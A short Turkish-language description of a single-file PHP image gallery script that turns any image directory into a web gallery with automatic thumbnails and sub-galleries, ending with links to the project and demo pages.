Tek dosyadan oluşan bir resim galeri script’i, tek bir PHP dosyasındaki bir web galerisi. Tek yapmanız gereken, bir galeri yapmak için betiği resim içeren herhangi bir dizine kopyalamaktır. Alt dizinler alt galeriler olacak. Resimler ve dizinler için küçük resimler otomatik olarak oluşturulur. Tek Dosya PHP Galerisi herhangi bir yapılandırma veya programlama becerisi gerektirmez.

Projenin sayfasına gitmek için buraya demo sayfası için buraya tıklatın.